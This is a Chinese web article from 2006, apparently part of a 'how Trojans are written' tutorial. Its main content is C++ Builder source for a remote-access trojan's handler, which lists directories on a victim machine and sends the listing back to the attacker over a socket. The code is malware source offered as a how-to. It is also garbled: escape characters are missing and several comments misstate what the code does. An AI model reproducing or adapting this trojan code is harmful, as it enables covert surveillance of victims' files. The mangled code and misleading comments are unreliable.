【安全知识】安全技术安全防范安全工具杀毒软件防毒知识防毒技巧

您现在的位置:首页 > 网络安全 > 安全知识 > 杀毒软件 > 木马是如何编写的(二)

木马是如何编写的(二)

来源: 作者: 日期:2006-08-23

【聚杰网杀毒软件】木马是如何编写的(二)

这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{

else if(temp.SubString(0,3)=="dir")

{

//如果前3个字符是“dir”

int Read_Num;

char * CR_LF="n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

//得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

//如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

//返回“Fail By Open DIR's Name”信息

goto END;

//跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

//如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

//返回“Fail By Your DIR's Name”信息

goto END;

//跳到END

}

times_of_try=0;

while(fp==NULL)

{

//如果指针是NULL

fp=fopen(TempFile,"w+");

//就创建systemWin369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

//如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='')

//如果最后一个字符不是“”,证明不是根目录

filename=(AnsiString(dirname)+""+ent->d_name).c_str();

//加上“”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

//如果是根目录,则不用加“”

attrib=_rtl_chmod(filename, 0);

//得到目标文件的访问属性

if (attrib & FA_RDONLY)

//“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

//将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

//失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

//将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

//将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

//将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_DIREC)

fwrite("

",sizeof(char),9,fp);

//将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

//失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

//将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

//写入换行

}

fclose(fp);

//关闭文件

closedir(dir);

//关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

//打开Win369.bat准备读

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content='';

//定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

//从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content='';

Read_Num=fread(temp_content,1,300,fp1);

//重复

};

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

fclose(fp1);

//关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text变量的内容

}

}

1 2 下一页

评论   点击查看全部评论
您的评论参与,将为聚杰带来更大的动力!请不要吝啬!
快速回复
请使用文明语言让我们维护健康绿色网络环境!

匿名发表   验证码: